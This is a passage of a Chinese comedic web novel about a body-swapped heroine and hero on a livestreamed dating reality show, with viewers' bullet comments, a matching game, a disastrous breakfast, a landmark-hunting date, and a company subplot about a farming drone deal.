众人回到房间,终于开始了今天最受期待的匹配环节。 因为标签备注只有本人能看见,嘉宾们只能根据ID名称和人物标签来进行选择。 要在有限的三句话内猜中对方的身份,难度不算低,所以也格外有看点。 裴砚知顺着列表看下去,感觉只有【断桥残雪】正常一点。 但他又十分确定此人是段羡秋,出于这样那样的原因,他并不想和段羡秋约会。 正当此时,手机一震,有人给他发来了第一条消息: 【哄你:cpdd,男的不要,女的别来。】 然后又一条花里胡哨的消息发了过来: 【断桥残雪:小生不才[心碎],未得姑娘青睐[玫瑰凋谢],扰姑娘良久,姑娘勿怪[拱手作揖],姑娘向北走,小生向南瞧[眼睛] ,此生就此别过了[哭泣],难以忘怀[爱心],愿你三冬暖 [咖啡],愿你春不寒[拥抱],愿你天黑有灯[灯泡],下雨有伞[雨伞]】 裴砚知盯着这两条消息,深吸一口气。 我请问呢,这里还有正常人吗? 第74章 第七十四章 烤全羊啊嗯 刚收到这两条消息没多久, 裴砚知的手机又接连震了三下: 【做个俗人,贪财好色:你好,我是男的。】 【做个俗人, 贪财好色:喂,在吗, 我说我是男的。】 【做个俗人,贪财好色:奇怪, 没发出去吗?吾乃男性, I am a man!】 秉持着研究非正常人类的科学精神,裴砚知尝试着将三人的消息互换,形成一种共轭回复。 聊天框投屏在直播间里,数万人眼睛眨也不眨看着他复制粘贴。 最终,裴砚知给古风公子【断桥残雪】回复了【你好, 我是男的】; 给抽象大师【哄你】回复了【小生不才[心碎], 未得姑娘青睐[玫瑰凋谢],扰姑娘良久……】; 给爹味老登【做个俗人, 贪财好色】回复了【cpdd,男的不要, 女的别来】。 三条消息权限全部用完, 他把手机一扔,拿起换洗的衣服进了浴室。 直播间的人笑出了猪叫: 【添如乱, 抽如象,猎如奇。】 【笑死我了, 乔缨搁这儿当月老牵红线呢?】 【你们看到江简哲收到消息时的表情了吗?眼睛里有三分震撼三分迷茫四分想报警, 简单来说和吃了屎没什么区别。】 【段羡秋看到那句“我是男的”后像被雷劈了一样,感觉天都塌了吧?】 【我的天啊怎么能艺术成这样?】 【给老子笑成大粪了。】 无人在意的何孟理此时正沉默地看着对话框,第一次怀疑自己的判断是不是出了错。 经过这几个小时的相处, 他算是摸清了几位女嘉宾的性格,以及她们各自在节目里的定位。 阮绵绵死心塌地和沈颐捆绑在一起,乔缨流量最大但脾气也最臭,而周悦甜则是和她的长相一样,太过寡淡,平平无奇。 在这种情况下,他最好的选择就是自带节目效果的吴笑希。 要知道,现在综艺的搞笑切片在下沉市场很受欢迎,随随便便就能上热门,不愁没有话题度。 打定了主意,他一点开恋综app便直奔【血殇·女帝】而去,因为这么傻逼的ID,一看就是吴笑希会取的名字。 有了这个认知后,何孟理得意洋洋地一连发了三条消息,因为他觉得像吴笑希这样丝毫没有女性魅力的人,自己主动对她说话是种恩赐,对方叩头谢恩都来不及。 可他左等右等,只等来一段牛头不对马嘴的话。 何孟理思考再三,宛如刚学会上网的老年人一样,在网页搜索栏里缓缓打下那四个字母,嘴里喃喃出声:“cpdd?这是什么二次元的话吗?” 而和他抱有同样想法的江简哲也陷入了相似的境地,十分苦恼地盯着那一大段夹杂着emoji的文字。 他手指颤抖,迟疑地问道: 【哄你:啥啊这是,复制到拼夕夕没反应呀?】 【哄你:你再发一下。】 把人水灵灵地晾了半小时后,裴砚知带着一身水汽从浴室里出来,吹完头发,坐在露台的躺椅上远眺洒满银辉的大海。 他其实不怎么喜欢炎热的天气,南岛潮湿的海风黏黏糊糊地罩在身上,连带着月光都变得湿漉漉的。 一切都开始浮躁起来,很难静得下心。 安装在房间角落的喇叭里传来了李导的声音,宣布嘉宾互动环节已经结束,现在开始选择明天的约会对象。 因为按照规则,只有男女嘉宾同时选中对方时才会退出匹配池,所以除了早就互通过信息的阮绵绵和沈颐,剩下六个两眼抓瞎的人就跟排列组合似的,你选我,我选他,他选她,永无止尽,缠缠绵绵到天涯。 这场酣畅淋漓的车轮战一直持续到半夜十点才结束,虽然精疲力竭的嘉宾们无一不感到心力交瘁,但观众却看得热血沸腾。 【好虐,什么番?】 【今年看过最狗血的都市情感剧be like:】 【燃起来了,比博人传好看。】 【节目组疑似失去所有力气和手段哈。】 【妈呀,好期待他们明天掉马的场面。】 网上的讨论度节节攀升,甚至有紧跟时事的心理学博主连夜赶制了解说视频,来剖析六个人在匹配环节中都耍了哪些心眼子。 在这一通骚操作下,阮绵绵和沈颐甜甜蜜蜜的双向奔赴已经无人在意,节目组虽然将#情颐绵绵szd#的热搜词条买到了第一,可参与话题的平台用户里却连一个活人都看不到。 活脱脱一座赛博鬼城。 而这么热闹的综艺,远在京市的昭星员工们也没有错过直播,在团建的温泉山庄里,个个都捧着手机,看得目不转睛。 热烈的气氛中,喝得有点晕乎的王承书走到花园里想吹吹风,顺手刷起了朋友圈。 一位看在父母面子上才加的相亲对象发了一张篝火的图片,隐隐约约能看到中间有一个铁架。 她用不怎么清醒的大脑评论道: 【都市隶人骡马贵族:烤全羊啊嗯。】 几秒后,那人的回复急切地弹了出来: 【最爱买衫最憎睡眠:我大舅去世了。】 啥?什么大舅?谁去世了? 王承书眯起眼睛努力辨认着这几个字,待看清后酒顿时醒了一大半,连忙道歉: 【都市隶人骡马贵族:不知道,抱歉,:对不起。】 身后,一个同事冷不丁拍了拍她的肩膀,指着不远处正在和贺晓交谈的自家老板,心有余悸地开口:“我还以为今天裴总不来呢,每次有他在场,我就开始莫名其妙地紧张起来。” 那次和裴砚知一起去英国出差也是,吃饭时没一个人敢靠近他三米以内的距离。 王承书贴心安慰:“领导有什么好怕的,你看裴总整天穿着个西装,每次你害怕的时候就可以去想象他跳晚安大小姐的样子,绝对有用。” 同事目瞪口呆地竖起大拇指,惊声赞叹:“难怪裴总让你连升几级,姐你这心理素质也忒好了。” 王承书盯着不远处那道背影,有些心虚地垂下了头。 她现在百分百确定,上次去盛宇科技浇发财树的人就是裴总。 这次的升职加薪,除了自己劳苦功高的原因外,恐怕裴砚知还有借此机会让她封口的意思。 有时候歹毒的商战也不得不使些肮脏的手段,她懂,她都懂,这并不会破坏裴总在她心中的高大形象。 只会在她幻想裴砚知跳晚安大小姐时,他的脑袋偶尔会变成一个保温桶罢了。 王承书在这边和空气斗智斗勇,那边的乔缨却一脸凝重地听着贺晓说话。 昭星今年第一季度最大的项目便是和全国各大种植基地达成科技助农的协议,其他几家都同意了合作,唯 独有一块硬骨头啃不下来。 按理说,从无人机性能上来讲昭星的产品赢得一骑绝尘,可一家名为卿安植业的集团却一再拒绝昭星抛出的橄榄枝,有消息称他们将会选择昭星的某家对手公司进行合作。 贺晓严肃地将重担托付给乔缨:“卿安植业在南岛有一处试验田,集团的继承人目前正在那里调研,这次机会,你可一定得把握住了。” 乔缨疑惑地皱起眉:“集团继承人?咱们为什么不直接去找传闻中的掌权人或者话事人呢?” 贺晓顿了顿,竟然显露出一丝扭捏的神情,支支吾吾道:“哎呀,这个,我……咳,我和她关系不好。” “卿安植业的老板是我当年的死对头,每年的劳动标兵不是我拿就是她拿,后来我执意要离开东北,她就和我绝交了。” 贺晓幽幽叹口气,眉眼难得有些落寞:“这些年我也不敢去联系她,总觉得非常别扭,她大概也报着同样的心思吧。” 看吧,有些时候,女孩子之间那种细腻微妙的感情甚至能丝丝缕缕绵延到中年时期都无法释怀。 回想起往事,贺晓脸上带着她自己都没察觉到的温和笑意。 她坐在冬夜的风里,讲她们一起在地里插秧,讲她们骑着破破烂烂的自行车在田埂上飞驰,讲她们在厂里较劲,螺丝拧得一个赛一个的紧。 讲落日下的争吵,讲黑暗中的回眸,讲夜深人静时心里浮过的一丝可惜和惆怅,以及那股淡淡的、被小心藏起来的思念。 乔缨揉去眼角的泪水,笑着问:“那她叫什么啊?” 贺晓动容道:“她姓司,我们都叫她大琳。” 乔缨:“……” 感动的情绪戛然而止,随即发出一道被噎到无语的抽气声。 受不了了,你俩一个叫司大琳,一个叫贺鲁晓夫,关系能好就见鬼了啊! “总而言之,你老娘我是拉不下这个脸面去联系人家,全靠你了,我的好儿子。” 贺晓抽抽鼻子,郑重其事地拍拍她的肩膀,道:“而且刚好小乔姑娘也在南岛,你俩碰上了,也能互相有个照应。” “您……为什么这么喜欢乔缨啊?” 问出这个一直萦绕于心的问题时,乔缨才察觉到自己的嗓音有多干涩。 她从来都不是个讨长辈喜欢的小孩,连最接近“母亲”这个角色的乔觐女士都对她这个问题儿童十分头疼。 软硬不吃,冲动偏执,固执己见,疑心病重,比一百个青春期少年加起来都难对付。 “为什么啊……” 贺晓将头转向直播间,看着画面里那张脸,骤然想起了第一次和司琳见面的场景。 火红的太阳像被切开的血管,直直坠在身后,她站在田埂上,手里攥着一本崭新的《呼啸山庄》,神采飞扬地念道: “但愿我在外面!但愿我重新是个女孩子,野蛮、顽强、自由,任何伤害只会使我大笑,不会压得我发疯!” 真的是,非常的漂亮。 “因为很像她。” 贺晓对着镜头左看右看,忽然发现今天的乔缨好像差了点什么。 没了示范教材,她只能费劲吧啦地比比划划,亲自上阵演示道:“就那种睥睨蔑视的感觉,你懂吧?我看着你们,你们却不在我眼里,就是这种感觉。” 说罢,她昂着脖子,摆出一个睥睨蔑视的姿势。 乔缨忍不住笑了一声,轻声道:“谢谢。” “你谢什么谢,又不是在夸你。” 贺晓莫名其妙地看她一眼,抖了抖身上的鸡皮疙瘩。 裴家的人似乎仅仅只是想让裴砚知赶在二十六岁前找到女朋友,现在跨过了这个坎,至于下一步的发展却并不催促。 乔缨不由得好奇地问:“我要是一直拖着不结婚不要孩子怎么办?” “关我什么事?自己的事情自己解决。” 贺晓白了她一眼,语气嫌弃地下了判语:“巨婴。” 乔缨诧异道:“我还以为像咱们这种豪门世家,都很在意把家业传到千秋万代呢。” “为什么要传到家业千秋万代,我又不当皇帝。” 心态一直很豁达的贺晓无法理解儿子为什么要问这个问题,看着天上的月亮,懒散地打了个哈欠。 乔缨掏出手机,明知道裴砚知收不到,还是给他发去了两条消息: 【磷脂分子:你妈妈真的很好。】 【磷脂分子:要不咱俩……别换回去了?】 — 第二天的清晨,裴砚知按照生物钟准时醒来,洗漱完下楼。 刚一踏入客厅,就闻到了一股怪味,定睛一看,是沈颐正穿着围裙,在锅里搅和着什么。 “你怎么炒了块木板进去?” 江简哲捏着鼻子凑到锅边一看,吓得倒退几步,语气浮夸:“卧槽原来是锅铲,看起来好痛苦的一位铲子,你小心它妈妈晚上来找你索命。” 何孟理也看得直皱眉,忍住呕吐的冲动,说:“小沈啊,我们人类不是偶蹄目,不需要反刍的。” 专心致志熬着秘制小酱汁的沈颐不以为意,继续搅和着锅里沥青似的不明液体。 他用筷子夹起一颗已经糊掉的草莓,百思不得其解:“嘶……是锅的问题还是草莓的问题?” 吴笑希:“……你是半句不提自己啊。” 沈颐顺从地改口:“哦,那是我的锅的问题还是我的草莓的问题?” 正当此时,阮绵绵和周悦甜也下了楼。 见到那道在厨房里忙忙碌碌的身影,阮绵绵大为感动,蹦到沈颐身旁,身体扭成麻花地撒着娇:“沈颐哥哥,这是在做早餐吗?” “嗯。” 沈颐宠溺地揉揉她的脑袋,把那一碗不明物体摆到她面前。 十分有眼力见的周悦甜立马上前打趣,拔高声音起哄道:“哎呦,爱心早餐吗?怎么大家都没有,只有绵绵有啊?这算什么?” “算她肠胃好。” 裴砚知端着托盘,自顾自地坐在桌前,拿起刀叉开始享用早餐。 培根煎蛋面包牛奶,以及几颗从沈颐那里虎口夺食而来的草莓,搭配简单又不失营养。 “你什么意思?” 沈颐不满地蹙起眉,不怒反笑:“待会儿大家吃上了你可别眼馋。” 说罢他便准备开干,把昨天剩下的菜全都丢入锅中,各种调料一加,像从谁家泔水桶里刚捞上来的厨余垃圾一样。 其余的人看到这个场景,不由得咽了口唾沫,内心升腾起巨大的不安感。 唯独阮绵绵面色如常,在沈颐盖上锅盖后,扯扯他的衣袖,羞赧道:“沈颐哥哥,我想吃你做的吐司边。” 沈颐刮刮她的鼻尖,宠溺一笑:“小没良心的,不吃我的独家早餐,偏偏要去吃普通的吐司边,真是暴殄天物。” “不不不,你做的吐司的吐司边和别人做的吐司的吐司边不一样。” 阮绵绵着急反驳:“别人做的吐司的吐司边没有那种嚼劲,每当我灵感阻塞,工作不顺的时候,只要吃到你做的吐司的吐司边立刻就会通畅,对我来说,那绝对不是普通的吐司的吐司边。” 其余几人都尬得挪开了视线,恨不得离他们八丈远。 而这两个人就跟被定住了似的,含情脉脉地对视着,全然忘了灶台上还放着一只顽强的锅,整个画面诡异得像《情深深雨蒙蒙》最后一集里在月台拥吻的书桓和依萍。 忽然“砰”的一声,锅底被烧穿,一束小火苗欻欻欻地窜了起来。 “退后,都退后!” 沈颐从暧昧的气氛中陡然惊醒,屁股撅起,两手向前推,把阮绵绵拦在身后。 他动作利落地连接起水管,绷着下颚线,一甩管身,对着水龙头附近的阮绵绵大喝一声:“开闸!” “噗呲呲———” 一大滩水喷射到本就快熄灭的火焰上,由于两人煞有其事的样子太过荒诞,颇有种太空漫游猩猩抡骨头的进化之美。 弹幕看傻眼了: 【这是在演什么?】 【全综艺只有官方在嗑。】 【在燃些什么,我请问呢?】 【我奶刷牙都比这热血。】 【经意间未封神名场面+2】 整个厨房变得跟水帘洞一样,这下除了裴砚知,所有人的早餐都没了着落。 段羡秋 悄咪咪挪到裴砚知面前,瞪着一双无辜的狗狗眼,软声恳求道:“姐姐,能给我分点东西吃吗?我太饿了……” 裴砚知打断了绿茶施法,气定神闲道:“我得跟我对象商量一下。” 段羡秋大骇:“你不是没对象吗?” 裴砚知眼皮都不抬一下:“所以没得商量。” 而一旁的吴笑希则是发现自己放在桌上的一大袋口粮都被江简哲给吃了,冷声质问道:“你怎么把我买的零食都拿走了?” 江简哲挠头打哈哈:“我这不是饿了吗哈哈哈哈,下次再补给你不就行了,别这么小气。” 吴笑希攥紧拳头:“未经允许私自拿别人的东西,是偷盗行为你懂不懂?” 江简哲没皮没脸地wink了一下,居然还有空比了个丘比特拉箭的手势,自恋道:“哥本来就是小偷,还要偷走你的心。” 【好想扇好想扇好想扇好想扇好想扇】 【爹的,看到我一阵无名火。】 【我正在砍江简哲,你也来拼一刀吧!】 【吴笑希,求你,就算是为我的乳腺着想,扇他一巴掌!】 仿佛能看到弹幕似的,吴笑希真的给他来了一巴掌,瞬间给小伙抽立正了,当场愣在了原地。 半晌没说话的周悦甜实在按捺不住好奇心,拿起一根筷子蘸了蘸还残留在碗里的秘制小酱料。 何孟理迟疑地问:“味道怎么样?” “口感像……史莱姆。” 周悦甜艰难地咽下一口,打了个干哕,表情痛苦道:“我已经……很委婉地……加了莱姆两个字了。” 厨艺遭到质疑,沈颐的脸色霎时一白,面子上挂不住,想摔门而去,却被裴砚知挡了回来。 他靠在门框上,一言不发地盯着沈颐。 上一次的大逼斗给沈颐留下的心理阴影太深,所以他现在哪怕再怎么不忿,也绝不敢跟乔缨对着干。 他眼里冒着火,不耐烦地一挥手:“知道了,我去收拾厨房行了吧?” 一顿兵荒马乱的早餐终于有惊无险地结束,等众人按照时间重新在客厅集合时,面前的电视屏幕忽然亮起,开始宣布今天的规则。 南岛是一座旅游城市,节目组和当地的文旅局有合作,所以第一天的约会任务便是两两一组,打卡岛上的各种地标建筑。 每组从东南西北四个方向出发,最后在岛屿中间的灯塔集合,用时最短的组将成为今天的赢家,可以获得特殊奖励。 播放完规则后,工作人员给每人手里发了一本印有地标照片的明信片册以及一只拍立得,在地标建筑前拍照即视为打卡成功。 而在此之前,四组嘉宾们会被蒙上眼睛送往四个方向的出发地。 也就是说,在到达目的地摘下眼罩前,谁也无法确定自己的队友是谁。 “哇,我们这上的真的是恋综而不是户外综艺吗?”周悦甜虚弱地笑笑。 她平生最讨厌运动,更何况这还是在天气炎热的南岛,一想到要在大太阳下暴晒三个小时浑身汗哒哒地约会,她就觉得烦躁。 周悦甜嘟着嘴对工作人员卖萌:“能自动弃权吗?我只想舒舒服服呆在空调房里,看看电视,打打游戏,或者打扮得美美的,去看电影喝咖啡,这才是约会应该有的流程吧?” 弹幕里也有不少人赞同: 【对啊,约会当然是怎么舒服怎么来,能不能理解一下我们肌无力人群呢?】 【一想到约会约到一半太阳把妆晒花了,我就觉得恐怖。】 也有人对明星的叫苦叫累表示不理解: 【可他们上节目是拿了通告费的诶,按照规则参与节目不是最基本的要求吗?】 【就是就是,难道大家开VIP充会员就是来看208们舒舒服服摆烂的吗?】 【靠,醍醐灌顶,干嘛要带入明星呢,还是多心疼心疼自己吧。】 弹幕里争吵不休,节目组却是直截了当地否定了周悦甜的提议。 毕竟她又不是皇族,没必要惯着。 于是乎,几辆车同时从海滨别墅出发,兵分四路。 周悦甜不情不愿地下了车,摘下眼罩后,看到身旁的何孟理,发出一声尖锐的暴鸣。 另一边,吴笑希也和段羡秋面面相觑。 而裴砚知则是看清身旁江简哲的脸后,语气冷静,迅速地说了一句:“冷知识,大母脚趾向下用力,其他四个脚趾反方向用力,坚持一分钟,脚会很舒服,试完不用感谢我。” “真的吗?” 江简哲一脸天真地试了试,却感觉脚趾越来越不对劲。 他一下栽倒在地上,指着裴砚知扬长而去的背影,目眦欲裂。 椰树林里,回荡着他的血泪控诉:“我脚抽筋了,你这个冷漠无情的人,现在你满意了吗!” 不出意外,直播间的弹幕又是一阵狂喜: 【我勒个队友祭天,法力无边啊!】 第75章 第七十五章 喜报:智力硬伤cp超话已…… 平心而论, 撇开拟人化的性格不谈,江简哲这张脸还算有几分姿色。 有点痞气,有点颜值, 简直是痞颜。 所以当他狼狈不堪地趴在地上时,居然看起来还有那么一点破碎的氛围感。 被太阳烘烤过的地面烫得能煎鸡蛋, 江简哲如同一条死鱼趴在地上,生无可恋。 尤其是他早上还没吃什么东西, 现在胃部空虚, 肠道受热蠕动,肚子立即发出一道惊天巨响。 【卧槽,打雷了?】 【是宝宝的肚肚打雷了……】 【谁懂,我本来挺讨厌江简哲的,但他趴在地上的样子好像很适合抹布……】 【我一直很害怕嬷嬷这个群体。】 【乔缨也太不负责了吧, 就这么把人扔在这里, 不怕出事吗?】 和弹幕一样,江简哲也不信乔缨会这么狠心地将自己抛下。 因为年纪小, 他在综艺里通常都是被照顾的角色,哪怕再怎么任性都有人兜底, 所以才时常口无遮拦地说些羞辱人的话。 江简哲就这么气鼓鼓地在原地趴了几分钟, 笃定了乔缨会回来找自己。 等来等去,只等来几只可爱的小动物从他眼前滴溜溜地爬过, 身体顿时一僵。 那、那是! 阳光下,几根触须一颤一颤, 闪闪发亮。 那、那是! “蟑螂啊啊啊啊啊啊啊啊啊!” 江简哲手忙脚乱地爬起来, 地面太过烫脚,他跟摸到了电门似的原地跳了一遍踢踏舞。 “啪唧”两下,脚下隐隐踩到了什么东西, 有种爆浆的触感。 江简哲像被骤然扣了电池的玩具狗,缓慢停下了挥舞的手臂,表情呆滞,定在原地一动不动,一时间不敢抬脚看向自己的鞋底。 【蟑螂:锵锵~是我们俩啦~】 【江简哲:不敢睁开眼希望是我的幻觉。】 【心跳比我先认出你。】 【下辈子我要当个蟑螂,至少这样有人为我尖叫。】 【江简哲真是老天爷喂饭吃的倒霉蛋。】 阳光太过刺眼,江简哲用手挡着脸,一步一步,脚底板搓着地面,小心翼翼地向座椅的方向挪动。 走到一半,旁边突然冒出来一个大叔,和他用着相同的姿势,像条直立行走的蛆一样,慢慢在地面上搓动着行走。 两人见到彼此后都愣了一下,继而了然地相视一笑。 此刻,无须多言。 大叔伸出一只手掌,大声鼓励:“加油啊!” 江简哲一把握住,神情感动:“你也是!” 场面瞬间就热血起来了,经过几分钟的艰难跋涉,这一对身残志坚的难兄难弟在彼此的搀扶下,终于抵达了目的地。 一屁股坐上休息椅,大叔如释重负地擦去了额头上的汗珠,从脚下捏起一张鲜红的人民币。 他用百元钞票扇着风,忍不住好奇道:“真巧啊,小伙子,你也捡到钱了?” 江简哲笑得勉强:“不,我捡到鬼了。” 【哈哈哈哈哈哈哈哈哈哈哈】 【史诗级抗抑郁视频。】 【小学二年级捡到二十块交给主任,主任扭头拿着钱买了包烟,我现在大二了还在后悔。】 【神tm捡到鬼了,笑得小女子出了一身成吉思汗。】 【快用吕布擦擦。】 好 奇宝宝的肚子又开始打雷,正在这时,一个戴着志愿者红袖标的阿姨一把揪住大叔的耳朵,将他提溜了起来。 阿姨中气十足地喝道:“又是你,仗着老人家好欺负是吧?那是人家的血汗钱!” 这附近住了一个老奶奶,平时靠捡垃圾为生,生活很拮据。 因为年纪太大,又患有老年痴呆,捡垃圾换来的钱时常在半路上弄丢,有时候被人捡了去不归还,一天的辛苦就打了水漂。 虽然当地政府给老奶奶提供了生活补助金,但老人家觉得不是自己挣的钱花着不踏实,依旧保持着捡垃圾的习惯。 社区的工作人员也知道这个情况,便自发组织起来,每次老奶奶换完钱路过时都有志愿者一路护送。 大叔还在嘴硬:“我这是暂拿,暂拿懂不懂?到时候会一起还给她的!” 阿姨唾他一口,一把掀开,懒得再多废话,转而把手里的KFC纸袋往江简哲手上一递。 她道:“有个姓乔的小姑娘叫我给你的。” 原来!乔缨果然不会不管我! 江简哲神情一震,感动的眼泪从嘴角流了出来,满眼希冀地问:“我亲爱的乔缨姐姐还说什么了?” 阿姨古怪地看他一眼,把他当成了吃软饭的小白脸,无情道:“她让你吃饱了就撑着,勿念。” 江简哲的眼神瞬间暗淡下去,弹幕全在幸灾乐祸: 【哈哈哈哈哈,你亲爱的乔缨姐姐不要你咯!】 — 南岛的北边,周悦甜撑着伞,虚弱地喘着气。 力气耗尽,她实在走不动了,一下子瘫在岩石上,连声抱怨:“为什么要在这种地方约会呢,山山水水的,这么偏僻,我高跟鞋都要陷进去了。” 何孟理却是嫌她麻烦,一路上话都没怎么说,现在更是因为周悦甜耽误了任务进度,脸色比沈颐烧糊的锅底还黑。 半晌,他叹口气,认命地蹲下身子,对周悦甜无奈喊道:“大小姐,上来吧。” 这个宠溺又亲昵的称呼让周悦甜起了一身的鸡皮疙瘩,非常惊讶地瞥向面前的男人。 在她的印象里,何孟理浑身上下用一个标签就可以概括,那就是爹味。 这样的一个人,居然也会有这么细腻的一面吗? 她的脸有些可疑地红了一下,拎着高跟鞋,别别扭扭地趴到了何孟理的背上。 有一说一,何孟理毕竟是能上恋综的人,其他方面暂且不说,至少形象是过关的,因为经常拍打戏,身材也不错。 隔着两层薄薄的衣物,周悦甜能感受到男人宽阔的背肌和比她稍高一点的体温,脸上更热了一点,暧昧的气氛在热烘烘的暑气中升腾。 “没想到,你还挺贴心的。” 周悦甜不自然地开口:“那什么……你这么熟练,以前是不是谈过很多个女朋友?” 听到这话,何孟理暗自冷笑了一下,心道这个女人果然上钩了。 毕竟是在恋综,他本就抱着必出名场面的心思才决定背着周悦甜走,一举一动没有真情,全是算计。 男性魅力得到认同,何孟理顿时又飘了起来,明明很得意,却偏偏又要装出一副云淡风轻的样子,淡淡地说:“我这个人吧,冷漠,不解风情,曾拒绝过几个女孩,怕他们找我索要爱情。” 弹幕一阵嘘声。 “实话实说,我属于高冷禁欲系,但总是不经意间拨动女人的心,我很困惑,也很内疚。” 何孟理撩了把头发,装模作样地叹了口气,惆怅地望着远方,像是一匹孤独的狼。 “我的长相比较有侵略性,怕会误导你,给你释放错误的信号,你也不要试图走进我的心了,我早已封心锁爱。” 他越说越入戏,俨然沉浸在自己的世界里。 “以后你就把我当做你的朋友和人生导师吧,若有缘,我会为你转身,让你了解我的一切,但,不是现在。” 神经病吧? 听得一愣一愣的周悦甜不甘示弱,也装作不经意地提起了自己的过去。 “出道前,我是藏起自己美貌的那种,同性圈里基本都是靠我直男豪爽的性格才吃得开,我跟异性基本保持明显的界限感,平时防备心理很重,一般那种主动热情的海王都会莫名讨厌我。” 她语气一转,似乎很是苦恼:“但是不妨碍我靜静坐在那里就能吸引到别人的注意,其实我谈不上什么美女,只能说气质是妩媚小女人,可哪怕我性格直男,每次上街也总有五六个人加我微信,唉,太烦了。” 说完,她莫名其妙看向直播镜头,又莫名其妙地鼓励道:“恋爱这种事,看缘分的,像我烂桃花这么多,其实也没什么用。所以不要焦虑,女生们自信起来!” 弹幕刷过去一排问号: 【拼好饭吃中毒了?】 【哇塞,好般配的一对b人。】 【感觉两个人都沉浸在自己的艺术中。】 【谁懂,这对cp有种黑蒜风味的美。】 【《王牌对王牌》】 说话间,前方终于出现了一间咖啡店,装逼装得口干舌燥的两个人不假思索地走了进去。 周悦甜要了一杯冰美式,正要结账时却被何孟理拦下,抬起头一脸茫然地看着对方。 “一起结账吧。” 何孟理理了理衣领,对着店员矜贵地张开嘴:“How much?” 店员见怪不怪地保持着微笑,回答道:“一共46元。” 何孟理掏出一张五十块的纸钞甩在柜台上,朝目瞪口呆的周悦甜笑笑,开口解释:“国外留学回来,习惯给点小费。” 他又是一撩头发,打了个响指,对着店员说:“不用找了water。” 店员真心实意地发问:“您在国外上的技校吗?” 周悦甜急了:“怎么会,孟理可是学霸,在事业巅峰期选择去美国沉淀,当时圈里的人都很震惊,还开了欢送会呢。” 实际上只留了一天学就悄咪咪溜回国的何孟理:“悦甜,think you。” 似是察觉到之前那段内心剖白太过自恋,他脑子转了转,开始找补:“我不像其他男性那样喜欢大献殷勤,我从来不会去讨好女人,即使我喜欢,也不会表现出来,只会给她们暗示,比如…….” 他摸了摸下巴,鬼迷日眼地觑起眼睛:“比如一个迷离的眼神。” 店员呛了一下,忙不迭把两杯咖啡递了过去,生怕下一秒就憋不住翻白眼。 由于这两个人相处起来实在太有性缩力了,观众人数一减再减,全都跑去了其他几组的直播间里。 裴砚知拿着明信片册和拍立得,慢慢悠悠地走到终点的灯塔下,把东西交给工作人员。 直播间的镜头对准了拍立得,一张一张展示着裴砚知拍摄的照片,可随着页面的翻动,弹幕却发现了不对劲。 打卡的照片一共有五张,每一张都有个街溜子打扮的陌生黄毛跟在他身后,笑容猥琐。 工作人员也发现了异样,把裴砚知叫过来,神色凝重地给他再次翻了一遍照片。 第一张,黄毛兴奋地冲他吹着口哨。 第二张,黄毛比了个下流的手势。 第三张,黄毛凑得更近了一点,就快要摸到他的肩膀。 第四张,黄毛被一双包裹在西服裤下的长腿踢飞,在空中留下一道动态模糊的身影。 第五张,黄毛倒地不起,那双长腿的主人摘下墨镜,扬起唇角,像是隔空给他加了只耳朵一样,在他头顶上比了一个剪刀手。 裴砚知眉心陡然一跳。 直播间的弹幕沉默了一瞬,然后齐刷刷地开始尖叫起来: 【我靠,这不是裴砚知吗?】 【姐夫来了,姐夫真的来了!】 【他以为乔缨在和男的约会吧?笑死,躲在角落里鬼鬼祟祟的。】 【啊啊啊啊啊好白月光的出场方式!我宣布其他男嘉宾都弱爆了!】 【@裴砚知 @乔缨,能卖一下吗?哦不卖啊,不卖就算了,行吧,其实我也没有很想让你们卖,笑死,我也有别的cp在嗑,我看不上你们,你们挺一般的,也不是很好嗑,哈哈哈,搞笑死了,你们真的很装,真的不卖吗?就卖一卖呗!】 大家嗑得正在兴头上时,弹幕上忽然飘来几排炫彩夺目的七色闪光大字: 【喜报:智力硬伤cp超话已申请开通,家人们速速来建设!】 【喜报:智力硬伤cp超话已申请开通,家人们速速来建设!】 【喜报:智力硬伤cp超话已申请开通,家人们速速来建设!】 有人绷不住了,立马敲起了键盘咆哮: 【我请问呢,谁家好人叫这个cp名啊!!!】 第76章 第七十六章 吵什么吵,就这么一点事!…… 中午毒辣的太阳终于被云层遮住, 虽然偶尔有海风吹拂,可空气还是闷而燥热的,紫外线刺着脸部皮肤, 又痛又痒。 作为第一个完成任务的人,裴砚知正坐在节目组准备好的休息区内, 不耐地皱着眉,搅动着杯里的冰块。 乔缨会出现在南岛, 倒也在他的意料之中, 也知道她是为了昭星的项目才来的。 不过卿安植业的继承人司逸可不是个好相处的人,看乔缨今天还有闲心来揍黄毛打抱不平,大概率是首战告败吃了闭门羹。 一时间分不出来他俩哪个更惨。 又在空调房里待了半个小时,沈颐用公主抱的姿势抱着阮绵绵走了进来,将她放到一旁的沙发上, 四周立马围上来几个怼到脸上的摄像机。 有了昨天积分表事件的前车之鉴, 节目组经过连夜讨论,决定让沈颐和阮绵绵今天卖cp不要走双强路线, 而是换成温馨甜宠风。 所以两人从一开始就没打算争这个第一,而是把精力全放在撒工业糖精上。 在这一段不短不长的路程里, 两位预制菜大师根据剧本自由发挥, 阮绵绵演了几个崴脚、脱水、中暑的意外小剧场,而沈颐则是凹起了不离不弃的忠犬人设。 一番操作下, 本以为直播间会嗑生嗑死,可实际上却反响平平, 甚至还因为演技太差太油腻, 被弹幕言辞犀利地吐槽: 【炒cp是让人家觉得你俩很爱对方,而不是让人家觉得你俩很爱炒cp。】 节目组偷摸告知了这件事后,两位预制菜大师视线一对, 终于祭出了大招———霸道老公照顾来例假的我。 只见阮绵绵苍白着一张脸,躺在沙发上,对着镜头虚弱开口:“是的,多亏了沈颐哥哥,否则我一定会在半路上晕过去。” 沈颐拿来一条不知道几百年没洗过的小毯子,把她裹在里面,心疼地揉揉她的头,温声说:“我去给你做一杯红糖水。” 红糖水,是阮绵绵对沈颐爱恋的关键词。 她感动地拉拉沈颐的衣角,又想念叨一遍两人因一杯红糖水结缘的故事。 然而沈颐却往后轻轻一退,巧妙地避开了她的触碰,转过身假装开始忙活,实则翻了个不耐烦的白眼。 男主角的退场丝毫没有打击到阮绵绵的积极性,她神采奕奕滔滔不绝地讲着那些陈谷子烂芝麻的少年往事,差点连病都装不下去,末了才假模假样地捂了捂肚子。 这一圈的四五个摄像机全是情颐绵绵的专设镜头,开了美颜参数,其余嘉宾根本都没资格用。 就连团队的工作人员也为了方便两人炒cp而特意成立了一个独立组,虽然效果不咋地,但足以见得节目组有多重视这俩皇族。 所以等阮绵绵意犹未尽地讲完故事,立即有人上道地开始当捧哏,笑着说:“看来沈老师对你很好呢。” 阮绵绵娇羞地抿抿唇:“是呢,他对我真的很好,细节也满分。” 